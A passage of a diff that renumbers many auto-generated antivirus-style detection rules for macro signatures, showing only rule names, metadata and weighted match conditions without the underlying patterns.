+rule _InfrastructureShared_23973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296466,7 +312949,7 @@ rule _InfrastructureShared_22688{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22689{ +rule _InfrastructureShared_23974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296476,7 +312959,7 @@ rule _InfrastructureShared_22689{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22690{ +rule _InfrastructureShared_23975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296486,7 +312969,7 @@ rule _InfrastructureShared_22690{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22691{ +rule _InfrastructureShared_23976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296496,7 +312979,7 @@ rule _InfrastructureShared_22691{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22692{ +rule _InfrastructureShared_23977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296506,7 +312989,7 @@ rule _InfrastructureShared_22692{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22693{ +rule _InfrastructureShared_23978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296516,7 +312999,7 @@ rule _InfrastructureShared_22693{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22694{ +rule _InfrastructureShared_23979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296526,7 +313009,7 @@ rule _InfrastructureShared_22694{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22695{ +rule _InfrastructureShared_23980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -296537,7 +313020,7 @@ rule _InfrastructureShared_22695{ ((#a_53_0 & 1)*19747+(#a_78_1 & 1)*18464) >=1 } -rule _InfrastructureShared_22696{ +rule _InfrastructureShared_23981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -296549,7 +313032,7 @@ rule _InfrastructureShared_22696{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*10350+(#a_69_2 & 1)*28783) >=1 } -rule _InfrastructureShared_22697{ +rule _InfrastructureShared_23982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -296561,7 +313044,7 @@ rule _InfrastructureShared_22697{ ((#a_53_0 & 1)*19747+(#a_67_1 & 1)*21100+(#a_90_2 & 1)*11568) >=3 } -rule _InfrastructureShared_22698{ +rule _InfrastructureShared_23983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296571,7 +313054,7 @@ rule _InfrastructureShared_22698{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22699{ +rule _InfrastructureShared_23984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296581,7 +313064,7 @@ rule _InfrastructureShared_22699{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22700{ +rule _InfrastructureShared_23985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296591,7 +313074,7 @@ rule _InfrastructureShared_22700{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22701{ +rule _InfrastructureShared_23986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296601,7 +313084,7 @@ rule _InfrastructureShared_22701{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22702{ +rule _InfrastructureShared_23987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -296613,7 +313096,7 @@ rule _InfrastructureShared_22702{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*22330+(#a_73_2 & 1)*28527) >=1 } -rule _InfrastructureShared_22703{ +rule _InfrastructureShared_23988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -296624,7 +313107,7 @@ rule _InfrastructureShared_22703{ ((#a_6c_0 & 1)*16675+(#a_6f_1 & 1)*27489) >=2 } -rule _InfrastructureShared_22704{ +rule _InfrastructureShared_23989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -296636,7 +313119,7 @@ rule _InfrastructureShared_22704{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*29554+(#a_22_2 & 1)*12336) >=3 } -rule _InfrastructureShared_22705{ +rule _InfrastructureShared_23990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296646,7 +313129,7 @@ rule _InfrastructureShared_22705{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_22706{ +rule _InfrastructureShared_23991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296656,7 +313139,7 @@ rule _InfrastructureShared_22706{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22707{ +rule _InfrastructureShared_23992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296666,7 +313149,7 @@ rule _InfrastructureShared_22707{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22708{ +rule _InfrastructureShared_23993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296676,7 +313159,7 @@ rule _InfrastructureShared_22708{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22709{ +rule _InfrastructureShared_23994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296686,7 +313169,7 @@ rule _InfrastructureShared_22709{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22710{ +rule _InfrastructureShared_23995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296696,7 +313179,7 @@ rule _InfrastructureShared_22710{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22711{ +rule _InfrastructureShared_23996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296706,7 +313189,7 @@ rule _InfrastructureShared_22711{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22712{ +rule _InfrastructureShared_23997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296716,7 +313199,7 @@ rule _InfrastructureShared_22712{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22713{ +rule _InfrastructureShared_23998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -296728,7 +313211,7 @@ rule _InfrastructureShared_22713{ ((#a_53_0 & 1)*19747+(#a_2f_1 & 1)*8253+(#a_70_2 & 1)*17722) >=1 } -rule _InfrastructureShared_22714{ +rule _InfrastructureShared_23999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 08 00 21 " @@ -296744,7 +313227,7 @@ rule _InfrastructureShared_22714{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_66_3 & 1)*0+(#a_3d_4 & 1)*15872+(#a_28_5 & 1)*26988+(#a_05_6 & 1)*8744) >=1 } -rule _InfrastructureShared_22715{ +rule _InfrastructureShared_24000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 03 00 21 " @@ -296755,7 +313238,7 @@ rule _InfrastructureShared_22715{ ((#a_46_0 & 1)*16675+(#a_6f_2 & 1)*18689) >=6 } -rule _InfrastructureShared_22716{ +rule _InfrastructureShared_24001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296765,7 +313248,7 @@ rule _InfrastructureShared_22716{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22717{ +rule _InfrastructureShared_24002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296775,7 +313258,7 @@ rule _InfrastructureShared_22717{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22718{ +rule _InfrastructureShared_24003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296785,7 +313268,7 @@ rule _InfrastructureShared_22718{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22719{ +rule _InfrastructureShared_24004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296795,7 +313278,7 @@ rule _InfrastructureShared_22719{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22720{ +rule _InfrastructureShared_24005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296805,7 +313288,7 @@ rule _InfrastructureShared_22720{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22721{ +rule _InfrastructureShared_24006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296815,7 +313298,7 @@ rule _InfrastructureShared_22721{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22722{ +rule _InfrastructureShared_24007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -296828,7 +313311,7 @@ rule _InfrastructureShared_22722{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*25712+(#a_63_2 & 1)*8313+(#a_74_3 & 1)*1026) >=1 } -rule _InfrastructureShared_22723{ +rule _InfrastructureShared_24008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -296839,7 +313322,7 @@ rule _InfrastructureShared_22723{ ((#a_6c_0 & 1)*16675+(#a_6b_1 & 1)*20794) >=2 } -rule _InfrastructureShared_22724{ +rule _InfrastructureShared_24009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -296852,7 +313335,7 @@ rule _InfrastructureShared_22724{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*21362+(#a_65_2 & 1)*29545+(#a_01_3 & 1)*16896) >=5 } -rule _InfrastructureShared_22725{ +rule _InfrastructureShared_24010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -296866,7 +313349,7 @@ rule _InfrastructureShared_22725{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*29811+(#a_00_3 & 1)*11+(#a_71_4 & 1)*27503+(#a_65_5 & 1)*26997) >=6 } -rule _InfrastructureShared_22726{ +rule _InfrastructureShared_24011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296876,7 +313359,7 @@ rule _InfrastructureShared_22726{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22727{ +rule _InfrastructureShared_24012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296886,7 +313369,7 @@ rule _InfrastructureShared_22727{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22728{ +rule _InfrastructureShared_24013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296896,7 +313379,7 @@ rule _InfrastructureShared_22728{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22729{ +rule _InfrastructureShared_24014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296906,7 +313389,7 @@ rule _InfrastructureShared_22729{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22730{ +rule _InfrastructureShared_24015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296916,7 +313399,7 @@ rule _InfrastructureShared_22730{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22731{ +rule _InfrastructureShared_24016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296926,7 +313409,7 @@ rule _InfrastructureShared_22731{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22732{ +rule _InfrastructureShared_24017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -296939,7 +313422,7 @@ rule _InfrastructureShared_22732{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*1+(#a_68_2 & 1)*0+(#a_73_3 & 1)*29812) >=1 } -rule _InfrastructureShared_22733{ +rule _InfrastructureShared_24018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -296951,7 +313434,7 @@ rule _InfrastructureShared_22733{ ((#a_53_0 & 1)*19747+(#a_03_1 & 1)*1+(#a_68_2 & 1)*0) >=2 } -rule _InfrastructureShared_22734{ +rule _InfrastructureShared_24019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -296964,7 +313447,7 @@ rule _InfrastructureShared_22734{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*29185+(#a_70_2 & 1)*28718+(#a_00_3 & 1)*29812) >=4 } -rule _InfrastructureShared_22735{ +rule _InfrastructureShared_24020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -296977,7 +313460,7 @@ rule _InfrastructureShared_22735{ ((#a_53_0 & 1)*19747+(#a_4a_1 & 1)*17219+(#a_57_3 & 1)*31059+(#a_67_4 & 1)*20526) >=5 } -rule _InfrastructureShared_22736{ +rule _InfrastructureShared_24021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -296988,7 +313471,7 @@ rule _InfrastructureShared_22736{ ((#a_53_0 & 1)*19747+(#a_30_1 & 1)*12332) >=11 } -rule _InfrastructureShared_22737{ +rule _InfrastructureShared_24022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296998,7 +313481,7 @@ rule _InfrastructureShared_22737{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_22738{ +rule _InfrastructureShared_24023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297008,7 +313491,7 @@ rule _InfrastructureShared_22738{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22739{ +rule _InfrastructureShared_24024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297018,7 +313501,7 @@ rule _InfrastructureShared_22739{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22740{ +rule _InfrastructureShared_24025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297028,7 +313511,7 @@ rule _InfrastructureShared_22740{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22741{ +rule _InfrastructureShared_24026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297038,7 +313521,7 @@ rule _InfrastructureShared_22741{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22742{ +rule _InfrastructureShared_24027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297048,7 +313531,7 @@ rule _InfrastructureShared_22742{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22743{ +rule _InfrastructureShared_24028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297059,7 +313542,7 @@ rule _InfrastructureShared_22743{ ((#a_53_0 & 1)*19747+(#a_5c_1 & 1)*29798) >=2 } -rule _InfrastructureShared_22744{ +rule _InfrastructureShared_24029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297070,7 +313553,7 @@ rule _InfrastructureShared_22744{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*23610) >=2 } -rule _InfrastructureShared_22745{ +rule _InfrastructureShared_24030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -297082,7 +313565,7 @@ rule _InfrastructureShared_22745{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*25711+(#a_69_2 & 1)*28500) >=2 } -rule _InfrastructureShared_22746{ +rule _InfrastructureShared_24031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -297094,7 +313577,7 @@ rule _InfrastructureShared_22746{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*25964+(#a_54_2 & 1)*8516) >=3 } -rule _InfrastructureShared_22747{ +rule _InfrastructureShared_24032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -297107,7 +313590,7 @@ rule _InfrastructureShared_22747{ ((#a_4c_0 & 1)*21539+(#a_57_1 & 1)*265+(#a_74_2 & 1)*26658+(#a_02_3 & 1)*21254) >=4 } -rule _InfrastructureShared_22748{ +rule _InfrastructureShared_24033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297117,7 +313600,7 @@ rule _InfrastructureShared_22748{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_22749{ +rule _InfrastructureShared_24034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297127,7 +313610,7 @@ rule _InfrastructureShared_22749{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22750{ +rule _InfrastructureShared_24035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297137,7 +313620,7 @@ rule _InfrastructureShared_22750{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22751{ +rule _InfrastructureShared_24036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297147,7 +313630,7 @@ rule _InfrastructureShared_22751{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22752{ +rule _InfrastructureShared_24037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297157,7 +313640,7 @@ rule _InfrastructureShared_22752{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22753{ +rule _InfrastructureShared_24038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297167,7 +313650,7 @@ rule _InfrastructureShared_22753{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22754{ +rule _InfrastructureShared_24039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297177,7 +313660,7 @@ rule _InfrastructureShared_22754{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22755{ +rule _InfrastructureShared_24040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297187,7 +313670,7 @@ rule _InfrastructureShared_22755{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22756{ +rule _InfrastructureShared_24041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -297198,7 +313681,7 @@ rule _InfrastructureShared_22756{ ((#a_53_0 & 1)*19747+(#a_2a_1 & 1)*27690) >=1 } -rule _InfrastructureShared_22757{ +rule _InfrastructureShared_24042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297209,7 +313692,7 @@ rule _InfrastructureShared_22757{ ((#a_53_0 & 1)*19747+(#a_30_1 & 1)*-28561) >=2 } -rule _InfrastructureShared_22758{ +rule _InfrastructureShared_24043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297220,7 +313703,7 @@ rule _InfrastructureShared_22758{ ((#a_53_0 & 1)*19747+(#a_70_1 & 1)*14947) >=2 } -rule _InfrastructureShared_22759{ +rule _InfrastructureShared_24044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -297232,7 +313715,7 @@ rule _InfrastructureShared_22759{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*25710+(#a_77_2 & 1)*17484) >=3 } -rule _InfrastructureShared_22760{ +rule _InfrastructureShared_24045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 05 00 21 " @@ -297246,7 +313729,7 @@ rule _InfrastructureShared_22760{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*21604+(#a_00_2 & 1)*13164+(#a_42_3 & 1)*19745+(#a_72_4 & 1)*25697) >=3 } -rule _InfrastructureShared_22761{ +rule _InfrastructureShared_24046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -297259,7 +313742,7 @@ rule _InfrastructureShared_22761{ ((#a_53_0 & 1)*19747+(#a_4a_1 & 1)*262+(#a_73_2 & 1)*12035+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_22762{ +rule _InfrastructureShared_24047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -297272,7 +313755,7 @@ rule _InfrastructureShared_22762{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*28500+(#a_6e_2 & 1)*29185+(#a_29_3 & 1)*28781) >=4 } -rule _InfrastructureShared_22763{ +rule _InfrastructureShared_24048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -297284,7 +313767,7 @@ rule _InfrastructureShared_22763{ ((#a_4c_0 & 1)*21539+(#a_74_2 & 1)*28673+(#a_62_3 & 1)*8236) >=13 } -rule _InfrastructureShared_22764{ +rule _InfrastructureShared_24049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297294,7 +313777,7 @@ rule _InfrastructureShared_22764{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_22765{ +rule _InfrastructureShared_24050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297304,7 +313787,7 @@ rule _InfrastructureShared_22765{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22766{ +rule _InfrastructureShared_24051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297314,7 +313797,7 @@ rule _InfrastructureShared_22766{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22767{ +rule _InfrastructureShared_24052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -297325,7 +313808,7 @@ rule _InfrastructureShared_22767{ ((#a_53_0 & 1)*19747+(#a_79_1 & 1)*26914) >=1 } -rule _InfrastructureShared_22768{ +rule _InfrastructureShared_24053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -297336,7 +313819,7 @@ rule _InfrastructureShared_22768{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*29811) >=1 } -rule _InfrastructureShared_22769{ +rule _InfrastructureShared_24054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -297347,7 +313830,7 @@ rule _InfrastructureShared_22769{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*29806) >=1 } -rule _InfrastructureShared_22770{ +rule _InfrastructureShared_24055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297358,7 +313841,7 @@ rule _InfrastructureShared_22770{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*24948) >=2 } -rule _InfrastructureShared_22771{ +rule _InfrastructureShared_24056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297369,7 +313852,7 @@ rule _InfrastructureShared_22771{ ((#a_46_0 & 1)*21283+(#a_03_1 & 1)*1) >=2 } -rule _InfrastructureShared_22772{ +rule _InfrastructureShared_24057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297380,7 +313863,7 @@ rule _InfrastructureShared_22772{ ((#a_4c_0 & 1)*21539+(#a_77_1 & 1)*25710) >=2 } -rule _InfrastructureShared_22773{ +rule _InfrastructureShared_24058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297391,7 +313874,7 @@ rule _InfrastructureShared_22773{ ((#a_4c_0 & 1)*21539+(#a_55_1 & 1)*17737) >=2 } -rule _InfrastructureShared_22774{ +rule _InfrastructureShared_24059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -297403,7 +313886,7 @@ rule _InfrastructureShared_22774{ ((#a_53_0 & 1)*19747+(#a_4c_2 & 1)*21761+(#a_74_3 & 1)*29255) >=4 } -rule _InfrastructureShared_22775{ +rule _InfrastructureShared_24060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -297416,7 +313899,7 @@ rule _InfrastructureShared_22775{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*29800+(#a_02_2 & 1)*10544+(#a_53_3 & 1)*29295) >=5 } -rule _InfrastructureShared_22776{ +rule _InfrastructureShared_24061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297426,7 +313909,7 @@ rule _InfrastructureShared_22776{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_22777{ +rule _InfrastructureShared_24062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297436,7 +313919,7 @@ rule _InfrastructureShared_22777{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22778{ +rule _InfrastructureShared_24063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297446,7 +313929,7 @@ rule _InfrastructureShared_22778{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22779{ +rule _InfrastructureShared_24064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297456,7 +313939,7 @@ rule _InfrastructureShared_22779{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22780{ +rule _InfrastructureShared_24065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297466,7 +313949,7 @@ rule _InfrastructureShared_22780{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22781{ +rule _InfrastructureShared_24066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297476,7 +313959,7 @@ rule _InfrastructureShared_22781{ ((#a_53_0 & 